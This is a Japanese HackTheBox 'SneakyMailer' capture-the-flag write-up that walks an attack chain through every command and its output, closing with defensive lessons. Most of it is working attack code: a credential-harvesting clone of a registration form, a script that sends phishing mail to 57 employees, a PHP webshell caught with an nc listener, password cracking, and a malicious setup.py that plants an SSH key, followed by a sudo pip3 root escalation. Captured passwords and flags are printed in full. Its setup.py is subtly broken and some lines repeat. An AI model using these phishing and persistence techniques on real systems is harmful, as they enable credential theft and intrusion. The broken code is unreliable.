HackTheBox: SneakyMailer — 全実行コマンド・実行結果レポート
Nmap スキャン
21/22/25/80/143/993/8080
→
21/22/25/80/143/993/8080
team.php
従業員メール57件収集
→
従業員メール57件収集
register.php クローン
資格情報キャプチャサーバ設置
→
資格情報キャプチャサーバ設置
フィッシングメール一斉送信
単一SMTPセッション
→
単一SMTPセッション
paulbyrd資格情報捕捉
ボットが自動登録
→
ボットが自動登録
IMAP Sent Items
developer FTP資格情報漏洩
→
developer FTP資格情報漏洩
FTP webshellアップロード
user.txt(low)へ SSH ✓
→
user.txt(low)へ SSH ✓
.htpasswdクラック
PyPI資格情報奪取
→
PyPI資格情報奪取
悪意setup.py配布
low authorized_keys書込
→
low authorized_keys書込
sudo pip3 GTFOBins
root.txt ✓
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.2.28 nmap -Pn -sV -sC -p 21,22,25,80,143,993,8080 10.129.2.28
RESULT
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 25/tcp open smtp Postfix smtpd 80/tcp open http nginx 143/tcp open imap Courier Imapd 993/tcp open ssl/imap Courier Imapd 8080/tcp open http-proxy
ℹ️
メール関連サービス(SMTP/IMAP/IMAPS)が並んでおり、フィッシング攻撃を
主軸にしたマシンであることが伺える。8080番はPyPIサーバーへのリバースプロキシ。
BASH
curl -sI http://10.129.2.28/ # → Location: http://sneakycorp.htb echo "10.129.2.28 sneakycorp.htb" | sudo tee -a /etc/hosts
PHASE 2
team.php からの従業員メールアドレス収集
Webサイト調査 & team.php
BASH
curl -s http://sneakycorp.htb/team.php
RESULT (抜粋)
Name: Airi Satou Position: Accountant Email: airisatou@sneakymailer.htb Name: Angelica Ramos Position: CEO Email: angelicaramos@sneakymailer.htb Name: Paul Byrd Position: Manager Email: paulbyrd@sneakymailer.htb ... (計57名)
🚨
重要な注意点: Webサイトのドメインは
sneakycorp.htbだが、
従業員メールのドメインは別物のsneakymailer.htb。
SMTP/IMAPへの接続はメールドメイン側で行う必要がある。
BASH
# SMTPのVRFYコマンド/RCPT TOでメールアドレスの実在確認も可能 smtp-user-enum -M RCPT -U emails.txt -D sneakymailer.htb -t 10.129.2.28
/pypi/register.php の発見
BASH
gobuster dir -u http://sneakycorp.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
RESULT
/team.php (Status: 200)
/vendor (Status: 301)
/pypi (Status: 301)
→ /pypi/register.php (Status: 200) — アカウント登録フォーム(email/password)
ℹ️
社内PyPIサーバー用のアカウント登録フォームが公開Webサイト上に存在する。
このフォームをクローンしてフィッシングページに転用する。
PHASE 3
フィッシング攻撃 — register.php クローン & 資格情報捕捉
資格情報キャプチャサーバの構築
PYTHON
from http.server import BaseHTTPRequestHandler, HTTPServer
import urllib.parse, urllib.request
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
# register.php のクローンHTMLをそのまま返す
self.send_response(200); self.end_headers()
self.wfile.write(open("register_clone.html","rb").read())
def do_POST(self):
length = int(self.headers.get("Content-Length", 0))
body = self.rfile.read(length).decode()
form = urllib.parse.parse_qs(body)
email = form.get("email", [""])[0]
password = form.get("password", [""])[0]
print(f"[+] 捕捉: {email}:{password}")
# 本物のregister.phpへも転送しボットに違和感を与えない
urllib.request.urlopen(urllib.request.Request(
"http://sneakycorp.htb/pypi/register.php", data=body.encode(), method="POST"))
self.send_response(302)
self.send_header("Location", "http://sneakycorp.htb/")
self.end_headers()
HTTPServer(("0.0.0.0", 18000), Handler).serve_forever()
全従業員へのフィッシングメール送信(単一SMTP接続で一括送信)
NOTE
ハマりどころ: 当初 swaks で1人ずつ(=57回)別接続として送信を試みたが、 2通目以降の接続が軒並みタイムアウトし、全体で約19分を空費して失敗した。 原因を調査したところ、これは過負荷や障害ではなくPostfixのpostscreenが 新規クライアントに課す「greet delay」(バナー送出後、実際のプロトコル 応答をわざと約20秒遅延させる仕組み)であることが判明。timeoutを90秒に 延ばして再試行すると、接続確立に約20.5秒かかった後は正常に応答が返った。 つまり接続のたびに約20秒の"税"を払う必要があり、57回の接続では単純計算で 約19分に達してしまう。 この問題を回避するため、swaksで宛先ごとに新規接続する代わりに、 単一の持続的なSMTP接続に乗せて全宛先へ連続送信する方式に変更した (公式ウォークスルーで示されている生netcat経由でMAIL FROM/RCPT TO/DATAを 連続してパイプ入力する方式と同じ考え方)。これにより20秒の税を 57回ではなく1回だけ払えばよくなる。
PYTHON
import smtplib
phishing_url = "http://10.10.15.200:18000/pypi/register.php"
# timeoutは greet delay(約20秒)を確実に超える余裕を持たせる
smtp = smtplib.SMTP("10.129.2.28", 25, timeout=45)
for email in employee_emails: # 57件
msg = (
f"From: support@sneakymailer.htb\r\n"
f"To: {email}\r\n"
f"Subject: Register in the portal\r\n"
f"\r\n{phishing_url}\r\n"
)
smtp.sendmail("support@sneakymailer.htb", [email], msg)
smtp.quit()
RESULT
57/57 件へフィッシングメール送信完了 (単一SMTPセッション、送信自体は数秒で完了)
✅
資格情報捕捉成功 (送信から約1分後):
Paul Byrd のブラウザ(自動化ボット)がメール本文のリンクを開き、そのまま フィッシングページの登録フォームに実際の認証情報を入力してしまった。
paulbyrd@sneakymailer.htb : ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:HtPaul Byrd のブラウザ(自動化ボット)がメール本文のリンクを開き、そのまま フィッシングページの登録フォームに実際の認証情報を入力してしまった。
PHASE 4
IMAP経由の横展開 & FTP webshellアップロード
IMAPでpaulbyrdとしてログインしSent Itemsを確認
PYTHON
import imaplib, re
conn = imaplib.IMAP4_SSL("10.129.2.28", 993)
conn.login("paulbyrd", "^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht")
conn.select('"Sent Items"', readonly=True)
_, data = conn.search(None, "ALL")
for msg_id in data[0].split():
_, msg = conn.fetch(msg_id, "(RFC822)")
body = msg[0][1].decode(errors="replace")
print(body)
RESULT (パスワードリセットメール)
From: Paul Byrd <paulbyrd@sneakymailer.htb>
To: root <root@debian>
Subject: Password reset
Hello administrator,
I want to change this password for the developer account
Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
Please notify me when you do it
✅
developer の平文パスワードが漏洩。もう1通、
「lowユーザーがPyPI上の全パッケージをインストール・テスト・削除する
タスクを担当している」という業務連絡メールも確認でき、後の権限昇格
フェーズで重要な手掛かりとなる。
FTPで developer ログイン & PHP webshellアップロード
BASH
ftp 10.129.2.28
Name: developer
Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C
ftp> dir -a
RESULT
drwxrwxr-x 8 0 1001 4096 dev (dev配下に index.php, team.php, pypi/, vendor/ 等 — sneakycorp.htbのwebroot)
BASH
ftp> cd dev ftp> put shell.php # gobuster vhost / ffuf で dev.sneakycorp.htb を発見・hostsに追加後 curl http://dev.sneakycorp.htb/shell.php
RESULT (リスナー側)
$ nc -lnvp 18001
connect to [10.10.15.200] from (UNKNOWN) [10.129.2.28] 39862
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
www-data シェル取得成功。 FTPアップロード先のディレクトリは
dev.sneakycorp.htbという別バーチャルホストのwebrootだった。
PHASE 5
PyPI認証情報の奪取 & user.txt取得への布石
pypi.sneakycorp.htb の .htpasswd 取得・クラック
BASH
# www-data シェルから cat /var/www/pypi.sneakycorp.htb/.htpasswd
RESULT
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
BASH
hashcat -a 0 -m 1600 pypi.hash /usr/share/wordlists/rockyou.txt
RESULT
$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/:soufianeelhaoui
✅
PyPI管理者資格情報取得:
pypi:soufianeelhaoui。
これで社内PyPIサーバー(pypi.sneakycorp.htb:8080)へパッケージを
アップロードできるようになる。
PHASE 6
悪意ある PyPI パッケージ配布 → user.txt・root.txt 取得
悪意ある setup.py の作成
NOTE
IMAPのメールから、ユーザーlowが「PyPIサーバーに新しく アップロードされたパッケージを自動でインストール・テスト・削除する」 タスクを定期実行していることが判明済み。つまりsetup.pyを アップロードすれば low権限でそのPythonコードが実行される。 authorized_keysへの公開鍵書込みを仕込む。
BASH
ssh-keygen -t rsa -b 2048 -N "" -f sneakymailer_key mkdir -p sm_pkg/sm_pkg && touch sm_pkg/sm_pkg/__init__.py
PYTHON (sm_pkg/setup.py)
import setuptools
try:
with open('/home/low/.ssh/authorized_keys', 'a') as f:
f.write("ssh-rsa AAAAB3N... (自分の公開鍵)\n")
except Exception:
setuptools.setup(name='sm_pkg', packages=['sm_pkg'])
ハマりどころ: 現行 setuptools には "upload" コマンドが存在しない
BASH
# 従来の(2020年当時の)手順: python setup.py sdist upload -r remote
RESULT (現行環境での実行結果)
usage: setup.py [global_opts] cmd1 [cmd1_opts] [cmd2 [cmd2_opts] ...]
or: setup.py --help [cmd1 cmd2 ...]
error: invalid command 'upload'
⚠️
setuptools のバージョンによる非互換: `upload` サブコマンドは
distutils/setuptoolsから既に完全に削除されている(セキュリティ上の理由で
古くに非推奨化され、その後撤去された)。しかも `sdist upload` は
1つのコマンドラインとしてまとめて解釈されるため、`upload` が
無効だと判明した時点で sdist(tarball作成)自体も実行されない。
現在は「①
sdistでtarballをビルド」「②twine uploadで
アップロード」という2つの独立したツール・手順に置き換わっている。
BASH
# 正しい現行手順
cd sm_pkg
HOME=$(pwd)/fake_home python3 setup.py sdist
# → dist/sm_pkg-0.0.0.tar.gz が生成される
# twine が無ければ導入 (Kaliではapt版が確実)
sudo apt-get install -y twine
cat > ~/.pypirc <<'EOF'
[distutils]
index-servers =
remote
[remote]
repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui
EOF
twine upload --repository-url http://pypi.sneakycorp.htb:8080 \
-u pypi -p soufianeelhaoui dist/sm_pkg-0.0.0.tar.gz
RESULT
Uploading distributions to http://pypi.sneakycorp.htb:8080
Uploading sm_pkg-0.0.0.tar.gz
100% ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 2.3/2.3 kB
low の pip install ボット処理待ち → SSH → user.txt
BASH
# アップロード後、数秒〜十数秒でlowユーザーの定期処理が # パッケージを取得しsetup.pyを実行、公開鍵がauthorized_keysに反映される ssh -i sneakymailer_key low@10.129.2.28 id
RESULT
uid=1000(low) gid=1000(low) groups=1000(low),...,119(pypi-pkg)
BASH
ssh -i sneakymailer_key low@10.129.2.28 "cat ~/user.txt"
RESULT
a6a9cd8e48ba693fb2ae2fe84bab753b
user.txt — low
a6a9cd8e48ba693fb2ae2fe84bab753b
sudo -l 確認 & GTFOBins (pip3) で root 昇格
BASH
low@sneakymailer:~$ sudo -l
RESULT
User low may run the following commands on sneakymailer:
(root) NOPASSWD: /usr/bin/pip3
BASH
TF=$(mktemp -d)
echo "import os; os.system('cat /root/root.txt')" > $TF/setup.py
sudo /usr/bin/pip3 install $TF
RESULT
Processing /tmp/tmp.XXXXXXXXXX
b407d44613fed106ea3ca3920c3e5d42
root.txt — Administrator@sneakymailer
b407d44613fed106ea3ca3920c3e5d42
✅
pip3 installはインストール対象パッケージのsetup.pyを
必ず実行するため、GTFOBinsに掲載されている典型的な悪用パターン。
sudoでpip3が無制限に許可されている時点で事実上rootと同等の権限。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — low
a6a9cd8e48ba693fb2ae2fe84bab753b
root.txt — Administrator@sneakymailer
b407d44613fed106ea3ca3920c3e5d42
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| フォームクローンによるフィッシング | pypi/register.php | 従業員資格情報の窃取 | Medium | 実フォームをクローンし攻撃者サーバーで受信、実サイトへも転送してボット/従業員に気付かれず捕捉 |
| メール送信内容の平文パスワード記載 | IMAP Sent Items (パスワードリセット依頼メール) | 横展開 (paulbyrd→developer) | High | 管理者への依頼メールに新パスワードを平文で記載し送信、Sent Itemsに残存 |
| FTPアップロード可能なWebroot | vsftpd / dev.sneakycorp.htb | RCE (www-data) | Medium | developerがWeb公開ディレクトリへの書込権限を持ち、PHP webshellを直接配置可能 |
| パッケージインストール時の任意コード実行 (setup.py) | 社内PyPIサーバー & low の自動処理スクリプト | 権限昇格 (www-data→low) | Critical | 新規アップロードパッケージを自動でpip installするボットに対し悪意setup.pyを配布 |
| 危険な sudo 許可 (pip3) | /usr/bin/pip3 NOPASSWD | 権限昇格 (low→root) | Critical | GTFOBins記載の通り、pip installは任意setup.pyを実行するためroot権限コマンド実行に直結 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | SMTP/IMAP/FTP/PyPI構成を確認 |
| 2 | メール収集 | team.php + smtp-user-enum | 従業員メール57件 |
| 3 | フィッシング | register.phpクローン+単一SMTP接続一括送信 | paulbyrd資格情報 |
| 4 | 横展開 | IMAP Sent Items+FTP webshell | developer資格情報→www-data RCE |
| 5 | 資格情報奪取 | .htpasswdクラック | PyPI管理者資格情報 |
| 6 | 権限昇格 | 悪意setup.py配布+GTFOBins pip3 | user.txt(low)+root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| アカウント登録フォームがクローン可能な形で公開Web上に存在し、従業員が疑わずクリック・入力してしまう | 従業員向けセキュリティ教育の徹底、外部リンクに対する警告表示、フィッシング耐性MFA(FIDO2等)の導入。 |
| パスワードリセット依頼を平文メールで送信し、Sent Itemsに永続的に残る | パスワードを直接メール送信せず、時限式のワンタイムリンク経由でリセットさせる。 |
| FTPアカウントがWeb公開ディレクトリへの書込権限を持つ | FTPのアップロード先とWeb公開ディレクトリを分離し、アップロードされたファイルの拡張子・内容を検証する。 |
| 信頼できないソースからのPythonパッケージを無条件に自動インストール | 社内PyPIへのパッケージ公開に承認フローを設け、サンドボックス環境でのみ自動テストを実行する。 |
| NOPASSWD sudoでpip3のような任意コード実行が可能なツールを許可 | sudoの許可対象を必要最小限のコマンド・引数に限定し、GTFOBinsで悪用可能性を事前確認する。 |
補足: 環境固有のハマりどころ2点
⚠️
(1) Postfix postscreen の greet delay: 新規クライアントからの
SMTP接続はバナー送出後、実プロトコル応答が約20秒意図的に遅延される。
宛先ごとに新規接続を張る方式(swaks等)だと接続数×20秒の累積遅延で
全体が破綻しうる。単一の持続接続に全送信をまとめることで回避できる。
(2) setuptools の upload コマンド撤去: 2020年頃の解説記事にある
(2) setuptools の upload コマンド撤去: 2020年頃の解説記事にある
python setup.py sdist upload -r remoteは現行のsetuptools
(v58以降)ではuploadコマンド自体が存在せず即座にエラーになる
(sdistすら実行されない)。sdistでのビルドとtwine upload
でのアップロードを別々の手順として実行する必要がある。

